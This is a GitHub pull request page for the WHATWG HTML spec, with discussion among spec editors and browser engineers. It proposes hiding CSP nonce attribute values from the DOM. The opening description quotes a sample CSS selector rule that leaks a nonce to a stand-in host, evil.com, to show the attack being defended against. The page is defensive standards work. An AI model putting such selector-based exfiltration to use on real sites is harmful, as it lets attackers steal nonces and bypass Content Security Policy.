Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Hide nonce content attribute values. (#2369) #2373

Merged
merged 12 commits into from Nov 22, 2017
Merged

Hide nonce content attribute values. (#2369) #2373

merged 12 commits into from Nov 22, 2017

Conversation

mikewest
Copy link
Member

@mikewest mikewest commented Feb 20, 2017

We've seen some recent attacks on CSP which rely on the ability to
exfiltrate nonce data via various mechanisms that can grab data from
content attributes. CSS selectors are the best example: through clever
use of prefix/postfix text matching selectors values can be sent out
to an attacker's server for reuse (e.g.
script[nonce=a] { background: url("https://evil.com/nonce?a");}).

This patch makes some changes to mitigate this risk by hiding the nonce
value from relevant element's content attributes:

  1. When parsing an element with a nonce attribute, the content
    attribute's value is copied into an internal slot on the element, and
    overwritten with the empty string.

  2. The nonce IDL attribute's getter returns the value of the internal
    slot, and its setter updates the internal slot's value.

  3. The internal slot's value is used to populate the cryptographic
    nonce metadata used by Fetch when making requests.

WIP: This patch doesn't actually do the above yet. It only adjusts
the element in the hopes of sparking conversation about how this
feature should actually work. Does it look reasonable? Should we
replicate the steps for each element type that has a nonce, or move it
up the chain to something like Node?


Issue: #2369

@annevk
Copy link
Member

annevk commented Feb 20, 2017

Would a cleaner model not make this solely a parser change (parser sets the internal slot, doesn't append a content attribute) and then not have any other processing model observe or modify the nonce content attribute?

@mikewest
Copy link
Member Author

mikewest commented Feb 20, 2017

We could certainly do it that way. That said, I think @arturjanc, et al are currently propagating the nonce value in a backwards-compatible way via code like the following, which would break if the content attribute wasn't present (e.g. the <script> was inserted via 'strict-dynamic''s automatic nonce propagation):

var nonce = document.querySelector('script[nonce]').nonce ||
            document.querySelector('script[nonce]').getAttribute('nonce');

I suppose they could instead grab the nonce by walking through all the <script> elements, checking each for a nonce value? That seems convoluted, but maybe putting the burden on the developer in that way is the right thing to do.

source Outdated
data-x="dom-link-sizes">sizes</code></dfn>, and <dfn><code
data-x="dom-link-scope">scope</code></dfn> each must <span>reflect</span> the respective content
attributes of the same name.</p>

<p>The <dfn><code data-x="dom-link-nonce">nonce</code></dfn> IDL attribute, on getting, returns
the value of the <code>[[Cryptographic Nonce]]</code> internal slot; and, on setting, changes the
value of the <code>[[Cryptographic Nonce]]</code> to the given value.</p>
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If we go with the model that there should be a content attribute when [[Cryptographic Nonce]] is non-empty, the setter should set/remove the content attribute here.

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

That seems strange too. Basically, we've decoupled the IDL and content attributes in this patch (e.g. whatever.setAttribute('nonce', 'whatever') pokes at the content attribute's value, but doesn't change the internal slot, and vice-versa with whatever.nonce = 'whatever'). That seems more defensible than linking the two in some cases but not in others.

All that said, I agree that this is a weird model. Perhaps @arturjanc or @mikispag have opinions about how they might use any of these options in Google's libraries?

@domenic domenic added do not merge yet Pull request must not be merged per rationale in comment security/privacy There are security or privacy implications labels Feb 24, 2017
This patch extracts the 'nonce' attribute out to a generic definition in
the "Fetching resources" section (alongside "CORS settings attributes",
etc.), and defines some new behaviors with the intent of reducing the
risk of side-channel leakage of the nonce's value.

In short, the nonce value is extracted from the content attribute when
the element is inserted into the DOM, and put into an internal slot. The
content attribute's value is set to the empty string.

From then on, the slot's value and the content attribute's value are
disconnected; alterations to one have no effect on the other, and
vice-versa.

The nonce's value is available to script via the `nonce` IDL attribute,
and so can be propagated just as today.

Addresses #2369.
@mikewest
Copy link
Member Author

mikewest commented Apr 7, 2017

I've updated this patch after thinking about things a little bit more, and I'll put together some tests today in hopes of explaining how I think things would work.

mikewest added a commit to web-platform-tests/wpt that referenced this pull request Apr 7, 2017
@mikewest mikewest changed the title WIP: Hide nonce content attribute values. (#2369) Hide nonce content attribute values. (#2369) Apr 7, 2017
@mikewest
Copy link
Member Author

Thoughts?

I'd like to ship something to close this hole in the relatively near future. I think this approach feels pretty reasonable, seems like a good balance between developer ergonomics and security, and folks on @arturjanc's team at Google are ~confident in their experiments on top of Chrome's experimental implementation.

/ccing the list of folks from the related issue @arturjanc, @mikispag, @lweichselbaum, @mozfreddyb, @ckerschb, @dveditz, @hillbrad, @devd, @johnwilander, and @teddink in the hopes of soliciting more opinions.

source Outdated

<p>When such an element that implements <code>NoncedHTMLElement</code> <span>becomes
connected</span>, the user agent must <span>immediately</span> execute the following steps on the
<var>element</var>:
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Do you have mutation observer tests for this behavior? This is a little different from the parser modifying the value directly.

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Also, is the nonce likely shared across elements? If so, we should maybe hide it for all elements including those that do not yet implement NoncedHTMLElement. Otherwise each time we add it to a new element you might end up having it accidentally exposed in user agents that do not implement that new nonce feature yet.

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

In which case it should maybe be part of DOM's "superglobal" (not named as such) attributes.

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Do you have mutation observer tests for this behavior?

Nope, but I can add some to web-platform-tests/wpt#5423.

Also, is the nonce likely shared across elements? If so, we should maybe hide it for all elements including those that do not yet implement NoncedHTMLElement. Otherwise each time we add it to a new element you might end up having it accidentally exposed in user agents that do not implement that new nonce feature yet.

I'm happy to do it that way, it's probably more future-proof. Also, I'm told that Firefox actually implements nonces for more resource types than we've actually specced, so doing it at a higher level is probably helpful for them in the short term.

In that case, would you suggest dropping NoncedHTMLElement, and putting the behavior on HTMLElement directly?

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah, though if you also want to add it to SVG (for <svg:script> and friends) we should maybe just put it on Element.

(I didn't realize the observable mutation of the nonce content attribute was intentional. I guess it doesn't matter much as we also expose it through the nonce IDL attribute.)

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah, though if you also want to add it to SVG (for svg:script and friends) we should maybe just put it on Element.

I do indeed want to apply the same change to SVGScriptElement. Element sounds like the simplest way to do that.

(I didn't realize the observable mutation of the nonce content attribute was intentional. I guess it doesn't matter much as we also expose it through the nonce IDL attribute.)

It's "intentional" only insofar as it seems a necessary side-effect of tying the adjustment to insertion. I suppose we could avoid it by hooking more deeply into the mechanics of setting the attribute's value via something like setAttribute, but it doesn't seem like a good idea to introduce that kind of complexity.

Since we're really only concerned about hiding the value from non-script sources, that seems like a reasonable tradeoff.

@mikewest mikewest changed the title Hide nonce content attribute values. (#2369) Hide nonce content attribute values. (#2369) Apr 10, 2017
@zcorpan
Copy link
Member

zcorpan commented Apr 10, 2017

So an implication here is that nonces will not appear anywhere other than in nonce="" attributes, correct? Not in srcset="foo 2x nonce(...)", not in CSS url("foo", nonce "..."), and so on?

@mikewest
Copy link
Member Author

@zcorpan: The approach here only applies to nonce attributes in markup. If someone does the work to expose fetch attributes to other kinds of syntax, then we'd probably want to talk about the way that data is exposed to side-channels.

@foolip
Copy link
Member

foolip commented Apr 11, 2017

Do you have a PR for SVG as well? Blink's SVGScriptElement.idl points to https://w3c.github.io/webappsec/specs/content-security-policy/#script-src-the-nonce-attribute, but that now redirects to a spec that doesn't define anything for SVG. https://svgwg.org/svg2-draft/single-page.html also doesn't do it.

@domenic
Copy link
Member

domenic commented Apr 11, 2017

To make sure I'm following, most of this patch is disappearing in favor of whatwg/dom#436, right? With the main things remaining being the deletion of nonce from link/style/script.

@bzbarsky
Copy link
Contributor

Should cloning preserve this nonce internal slot? This is more relevant to style than script, obviously. Would affect cases when people fetch a DOM subtree via XHR and then clone some subtree of the responseXML.

Have we considered the interaction with pages doing innerHTML += stuff? Seems like that would make nonce'd stylesheets disappear...

I'd really like to take a step back and understand the threat model here. Is it (basing this off the blink-dev thread) that people can maybe inject <style> elements and sites can't use CSP to forbid those because there is no way to do so without forbidding style attributes too? Maybe CSP should be able to forbid one without the other, since they have different attack profiles. You can't exfiltrate attribute values via style attributes, for example...

@mikewest
Copy link
Member Author

Should cloning preserve this nonce internal slot? This is more relevant to style than script, obviously. Would affect cases when people fetch a DOM subtree via XHR and then clone some subtree of the responseXML.

Yes, for <template> if for no other reason. I believe that's already covered in this patch via the "cloning steps" bit on line 6888 (as well as in the DOM variant that it sounds like you want us to drop (and I can live with that)).

Have we considered the interaction with pages doing innerHTML += stuff? Seems like that would make nonce'd stylesheets disappear...

That's a good point. FWIW, I can live with breaking this, given the intersection of developers likely to use CSP nonces and developers likely to innerHTML += their document, but I'm open to alternatives.

I'd really like to take a step back and understand the threat model here. Is it (basing this off the blink-dev thread) that people can maybe inject <style> elements and sites can't use CSP to forbid those because there is no way to do so without forbidding style attributes too? Maybe CSP should be able to forbid one without the other, since they have different attack profiles. You can't exfiltrate attribute values via style attributes, for example...

@arturjanc can probably give you more context than you prefer to have on this topic. His claim is both that dealing with style at scale is hard (with Google-specific anecdata to back that up), and that style-src shouldn't be necessary to have a reasonable guarantee of protection via script-src. Ensuring that the nonce is exposed only to script goes some way towards providing that baseline.

That said, I agree with you that there are relevant distinctions between attribute values and inline style. Allowing distinct targeting of each category via CSP might alleviate some of the deployment pain that folks feel, but it's not at all clear to me that that's the core of the issues Artur's team has run into at Google.

@bzbarsky
Copy link
Contributor

Another thing to consider here is editors. The fact that the DOM doesn't actually store the right state anymore makes writing editors a lot trickier...

In general, it seems to me that auto-disappearing attributes will lead to a long tail of things that break because no one expects that to happen, because it never happens right now....

Maybe the right answer is simply that any use of nonces in CSP should disable <style> that's not explicitly whitelisted via nonces (but NOT disable style attributes)? Not sure how much that would break in practice; it depends on how widely nonce is deployed...

@arturjanc
Copy link

I like the idea of being able to distinguish between style attributes and <style> elements in CSP because they differ significantly in their capabilities, i.e. the latter can use selectors, media queries, @import, etc and is much more powerful for an attacker. Something like style-src 'nonce-foo' 'unsafe-inline-attributes-only' could be a useful primitive.

I'm less excited about forcing developers to restrict styles just so they can prevent script execution if they use CSP with nonces, for the reasons mentioned by Mike. It's worth talking about, but I'd propose that it's
somewhat tangential to this change; it would require large modifications to existing applications which use CSP and would take a long time, whereas the fix discussed here wouldn't require such refactoring.

@bzbarsky The most readable explanation of the threat model is https://sirdarckcat.blogspot.ch/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html Essentially, an injection which can be triggered by an attacker without reloading the page (which happens frequently with DOM XSS) allows the attacker to exfiltrate a script nonce and then re-use the exfiltrated value to inject arbitrary scripts, even if the application has an otherwise safe CSP policy. The attacks mentioned in the post all rely on the fact that you can exfiltrate data from the DOM without the capability to execute scripts, most commonly by using CSS selectors. However, I don't think CSS is the only way to accomplish this, or at the very least it's not particularly future-proof -- there are features in other web formats such as SVG which can manipulate attributes of other DOM nodes (e.g. <set>) which, if the script nonce is accessible to the DOM, could have a similar effect. An attacker with a markup injection has a lot of attack surface to poke at to try and discover the nonce; preventing the nonce attribute from being accessible to the DOM seems like a fairly robust solution to such problems.

@arturjanc
Copy link

Maybe the right answer is simply that any use of nonces in CSP should disable <style> that's not explicitly whitelisted via nonces (but NOT disable style attributes)? Not sure how much that would break in practice; it depends on how widely nonce is deployed...

As one data point, it would likely break most of Google ;-) Many applications care about script injection but not style injection, so they set script-src but not style-src in CSP; consequently they do not add nonces to <style> and <link#rel=stylesheet> elements -- this is essentially what https://csp.withgoogle.com/docs/index.html recommends to developers.

@bzbarsky
Copy link
Contributor

I'm sympathetic to the attack surface argument, but I still think the auto-disappearing behavior being proposed is going to cause problems for all sorts of tools by violating a very basic invariant of how the DOM works... It seems like we're working around a mistake in how we designed CSP's nonce interaction (a mistake that is hard to fix now due to existing deployments) by breaking the DOM's invariants in ways that will cause problems for everyone other than CSP. :(

@mikewest
Copy link
Member Author

So. Where do we go from here? It sounds like we agree that the threat is a reasonable one to defend against, and it sounds like we agree that it would be hard to modify the existing behavior of script-src 'nonce-whatever' due to existing deployment.

Given that, I'm tempted to say that the strange behavior of the nonce attribute is a wart we can live with, especially if we limit it to the specific types of elements that have special behavior (as this patch does).

If that's unacceptable, then perhaps introducing a broader concept, similar to the sec- header prefix would be reasonable? nonce can continue to behave just like any other attribute, but __totally-hidden-and-secret__nonce would be magical? That seems even uglier, but would be less likely to crop up in ways that would break invariants that existing code relies upon?

@annevk
Copy link
Member

annevk commented Apr 13, 2017

Maybe we should explore restricting stylesheets independently from style attributes more?

But also, I don't think this quite breaks an invariant in the DOM, since anyone could have insertion behavior defined that modifies attributes; though with mutation observers that change would happen a little later of course. We're not actually modifying what setAttribute() does here.

@zcorpan
Copy link
Member

zcorpan commented Apr 13, 2017

SELECT COUNT(*) AS num, REGEXP_EXTRACT(LOWER(body), r'<([a-z][a-z0-9-]*)(?:\s[^>]+)?\s+nonce\s*=') AS tag
FROM [httparchive:har.2017_03_15_chrome_requests_bodies]
GROUP BY tag
ORDER BY num DESC
Row	num	tag	 
1	17096802	null	 
2	6793	script	 
3	58	style	 
4	4	link	 
5	2	img

@mikewest
Copy link
Member Author

Maybe we should explore restricting stylesheets independently from style attributes more?

I think this is probably worth doing, but orthogonal to the question here. That is, it doesn't sound like changing this behavior to more specifically target kinds of style would not make it easier for @arturjanc to teach the properties he's responsible for about style-src.

But also, I don't think this quite breaks an invariant in the DOM, since anyone could have insertion behavior defined that modifies attributes; though with mutation observers that change would happen a little later of course. We're not actually modifying what setAttribute() does here.

This is probably confusing, as the initial proposal has shifted as we've gone. The current proposal in this PR is more narrowly scoped, and, as @annevk notes, doesn't affect setAttribute() but only the insertion steps. It seems targeted enough to be unlikely to cause issues in real sites, as @zcorpan's analysis also seems to show.

chromium-wpt-export-bot pushed a commit to web-platform-tests/wpt that referenced this pull request Feb 28, 2020
According to:
whatwg/html#2373
html and svg Element are hiding their nonce when there are at least one
Content-Security-Policy defined from an HTTP header.

The two implementation:
- HTMLElement::InsertedInto
- SVGElement::InsertedInto

were hidding the nonce slightly differently. To prevent further
divergence, factorize this implementation into Element::HideNonce() and
call it from both places.

Bug: 1053496
Change-Id: I3cbad88f70c61591bef060d4188c82388e6001d2
chromium-wpt-export-bot pushed a commit to web-platform-tests/wpt that referenced this pull request Feb 28, 2020
According to:
whatwg/html#2373
html and svg Element are hiding their nonce when there are at least one
Content-Security-Policy defined from an HTTP header.

The two implementation:
- HTMLElement::InsertedInto
- SVGElement::InsertedInto

were hidding the nonce slightly differently. To prevent further
divergence, factorize this implementation into Element::HideNonce() and
call it from both places.

Bug: 1053496
Change-Id: I3cbad88f70c61591bef060d4188c82388e6001d2
chromium-wpt-export-bot pushed a commit to web-platform-tests/wpt that referenced this pull request Mar 4, 2020
According to:
whatwg/html#2373
html and svg Element are hiding their nonce when there are at least one
Content-Security-Policy defined from an HTTP header.

The two implementation:
- HTMLElement::InsertedInto
- SVGElement::InsertedInto

were hidding the nonce slightly differently. To prevent further
divergence, factorize this implementation into Element::HideNonce() and
call it from both places.

Bug: 1053496
Change-Id: I3cbad88f70c61591bef060d4188c82388e6001d2
chromium-wpt-export-bot pushed a commit to web-platform-tests/wpt that referenced this pull request Mar 4, 2020
According to:
whatwg/html#2373
html and svg Element are hiding their nonce when there are at least one
Content-Security-Policy defined from an HTTP header.

The two implementation:
- HTMLElement::InsertedInto
- SVGElement::InsertedInto

were hidding the nonce slightly differently. To prevent further
divergence, factorize this implementation into Element::HideNonce() and
call it from both places.

Bug: 1053496
Change-Id: I3cbad88f70c61591bef060d4188c82388e6001d2
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2078536
Commit-Queue: Arthur Sonzogni <arthursonzogni@chromium.org>
Reviewed-by: Mike West <mkwst@chromium.org>
Reviewed-by: Fredrik Söderquist <fs@opera.com>
Cr-Commit-Position: refs/heads/master@{#746837}
chromium-wpt-export-bot pushed a commit to web-platform-tests/wpt that referenced this pull request Mar 4, 2020
According to:
whatwg/html#2373
html and svg Element are hiding their nonce when there are at least one
Content-Security-Policy defined from an HTTP header.

The two implementation:
- HTMLElement::InsertedInto
- SVGElement::InsertedInto

were hidding the nonce slightly differently. To prevent further
divergence, factorize this implementation into Element::HideNonce() and
call it from both places.

Bug: 1053496
Change-Id: I3cbad88f70c61591bef060d4188c82388e6001d2
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2078536
Commit-Queue: Arthur Sonzogni <arthursonzogni@chromium.org>
Reviewed-by: Mike West <mkwst@chromium.org>
Reviewed-by: Fredrik Söderquist <fs@opera.com>
Cr-Commit-Position: refs/heads/master@{#746837}
blueboxd pushed a commit to blueboxd/chromium-legacy that referenced this pull request Mar 4, 2020
According to:
whatwg/html#2373
html and svg Element are hiding their nonce when there are at least one
Content-Security-Policy defined from an HTTP header.

The two implementation:
- HTMLElement::InsertedInto
- SVGElement::InsertedInto

were hidding the nonce slightly differently. To prevent further
divergence, factorize this implementation into Element::HideNonce() and
call it from both places.

Bug: 1053496
Change-Id: I3cbad88f70c61591bef060d4188c82388e6001d2
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2078536
Commit-Queue: Arthur Sonzogni <arthursonzogni@chromium.org>
Reviewed-by: Mike West <mkwst@chromium.org>
Reviewed-by: Fredrik Söderquist <fs@opera.com>
Cr-Commit-Position: refs/heads/master@{#746837}
xeonchen pushed a commit to xeonchen/gecko that referenced this pull request Mar 7, 2020
…t nonce hiding., a=testonly

Automatic update from web-platform-tests
[CSP] Factorize SVGElement & MHTMLElement nonce hiding.

According to:
whatwg/html#2373
html and svg Element are hiding their nonce when there are at least one
Content-Security-Policy defined from an HTTP header.

The two implementation:
- HTMLElement::InsertedInto
- SVGElement::InsertedInto

were hidding the nonce slightly differently. To prevent further
divergence, factorize this implementation into Element::HideNonce() and
call it from both places.

Bug: 1053496
Change-Id: I3cbad88f70c61591bef060d4188c82388e6001d2
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2078536
Commit-Queue: Arthur Sonzogni <arthursonzogni@chromium.org>
Reviewed-by: Mike West <mkwst@chromium.org>
Reviewed-by: Fredrik Söderquist <fs@opera.com>
Cr-Commit-Position: refs/heads/master@{#746837}

--

wpt-commits: 06705ea82c8a9d1866665c8abd069dd3b0f8c12b
wpt-pr: 22021
moz-v2v-gh pushed a commit to mozilla/gecko-dev that referenced this pull request Mar 7, 2020
…t nonce hiding., a=testonly

Automatic update from web-platform-tests
[CSP] Factorize SVGElement & MHTMLElement nonce hiding.

According to:
whatwg/html#2373
html and svg Element are hiding their nonce when there are at least one
Content-Security-Policy defined from an HTTP header.

The two implementation:
- HTMLElement::InsertedInto
- SVGElement::InsertedInto

were hidding the nonce slightly differently. To prevent further
divergence, factorize this implementation into Element::HideNonce() and
call it from both places.

Bug: 1053496
Change-Id: I3cbad88f70c61591bef060d4188c82388e6001d2
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2078536
Commit-Queue: Arthur Sonzogni <arthursonzogni@chromium.org>
Reviewed-by: Mike West <mkwst@chromium.org>
Reviewed-by: Fredrik Söderquist <fs@opera.com>
Cr-Commit-Position: refs/heads/master@{#746837}

--

wpt-commits: 06705ea82c8a9d1866665c8abd069dd3b0f8c12b
wpt-pr: 22021
gecko-dev-updater pushed a commit to marco-c/gecko-dev-comments-removed that referenced this pull request Mar 9, 2020
…t nonce hiding., a=testonly

Automatic update from web-platform-tests
[CSP] Factorize SVGElement & MHTMLElement nonce hiding.

According to:
whatwg/html#2373
html and svg Element are hiding their nonce when there are at least one
Content-Security-Policy defined from an HTTP header.

The two implementation:
- HTMLElement::InsertedInto
- SVGElement::InsertedInto

were hidding the nonce slightly differently. To prevent further
divergence, factorize this implementation into Element::HideNonce() and
call it from both places.

Bug: 1053496
Change-Id: I3cbad88f70c61591bef060d4188c82388e6001d2
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2078536
Commit-Queue: Arthur Sonzogni <arthursonzognichromium.org>
Reviewed-by: Mike West <mkwstchromium.org>
Reviewed-by: Fredrik Söderquist <fsopera.com>
Cr-Commit-Position: refs/heads/master{#746837}

--

wpt-commits: 06705ea82c8a9d1866665c8abd069dd3b0f8c12b
wpt-pr: 22021

UltraBlame original commit: 24ff6c7777429ca3691d2c2d66c9a2d09651f701
gecko-dev-updater pushed a commit to marco-c/gecko-dev-wordified that referenced this pull request Mar 9, 2020
…t nonce hiding., a=testonly

Automatic update from web-platform-tests
[CSP] Factorize SVGElement & MHTMLElement nonce hiding.

According to:
whatwg/html#2373
html and svg Element are hiding their nonce when there are at least one
Content-Security-Policy defined from an HTTP header.

The two implementation:
- HTMLElement::InsertedInto
- SVGElement::InsertedInto

were hidding the nonce slightly differently. To prevent further
divergence, factorize this implementation into Element::HideNonce() and
call it from both places.

Bug: 1053496
Change-Id: I3cbad88f70c61591bef060d4188c82388e6001d2
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2078536
Commit-Queue: Arthur Sonzogni <arthursonzognichromium.org>
Reviewed-by: Mike West <mkwstchromium.org>
Reviewed-by: Fredrik Söderquist <fsopera.com>
Cr-Commit-Position: refs/heads/master{#746837}

--

wpt-commits: 06705ea82c8a9d1866665c8abd069dd3b0f8c12b
wpt-pr: 22021

UltraBlame original commit: 24ff6c7777429ca3691d2c2d66c9a2d09651f701
gecko-dev-updater pushed a commit to marco-c/gecko-dev-wordified-and-comments-removed that referenced this pull request Mar 10, 2020
…t nonce hiding., a=testonly

Automatic update from web-platform-tests
[CSP] Factorize SVGElement & MHTMLElement nonce hiding.

According to:
whatwg/html#2373
html and svg Element are hiding their nonce when there are at least one
Content-Security-Policy defined from an HTTP header.

The two implementation:
- HTMLElement::InsertedInto
- SVGElement::InsertedInto

were hidding the nonce slightly differently. To prevent further
divergence, factorize this implementation into Element::HideNonce() and
call it from both places.

Bug: 1053496
Change-Id: I3cbad88f70c61591bef060d4188c82388e6001d2
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2078536
Commit-Queue: Arthur Sonzogni <arthursonzognichromium.org>
Reviewed-by: Mike West <mkwstchromium.org>
Reviewed-by: Fredrik Söderquist <fsopera.com>
Cr-Commit-Position: refs/heads/master{#746837}

--

wpt-commits: 06705ea82c8a9d1866665c8abd069dd3b0f8c12b
wpt-pr: 22021

UltraBlame original commit: 24ff6c7777429ca3691d2c2d66c9a2d09651f701
ryandel8834 added a commit to ryandel8834/WebAppSec-CSP that referenced this pull request Aug 13, 2022
In order to support the nonce-hiding changes suggested in whatwg/html#2373, this
patch adds a 'source' to each policy object, which allows us to determine whether
it was sent via an HTTP header or a '<meta>' element.

As a drive-by, it also cleans up the formatting and structure of the parsing
algorithms, and more formally defines a 'CSP list' for clarity.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
do not merge yet Pull request must not be merged per rationale in comment security/privacy There are security or privacy implications
Development

Successfully merging this pull request may close these issues.

None yet

8 participants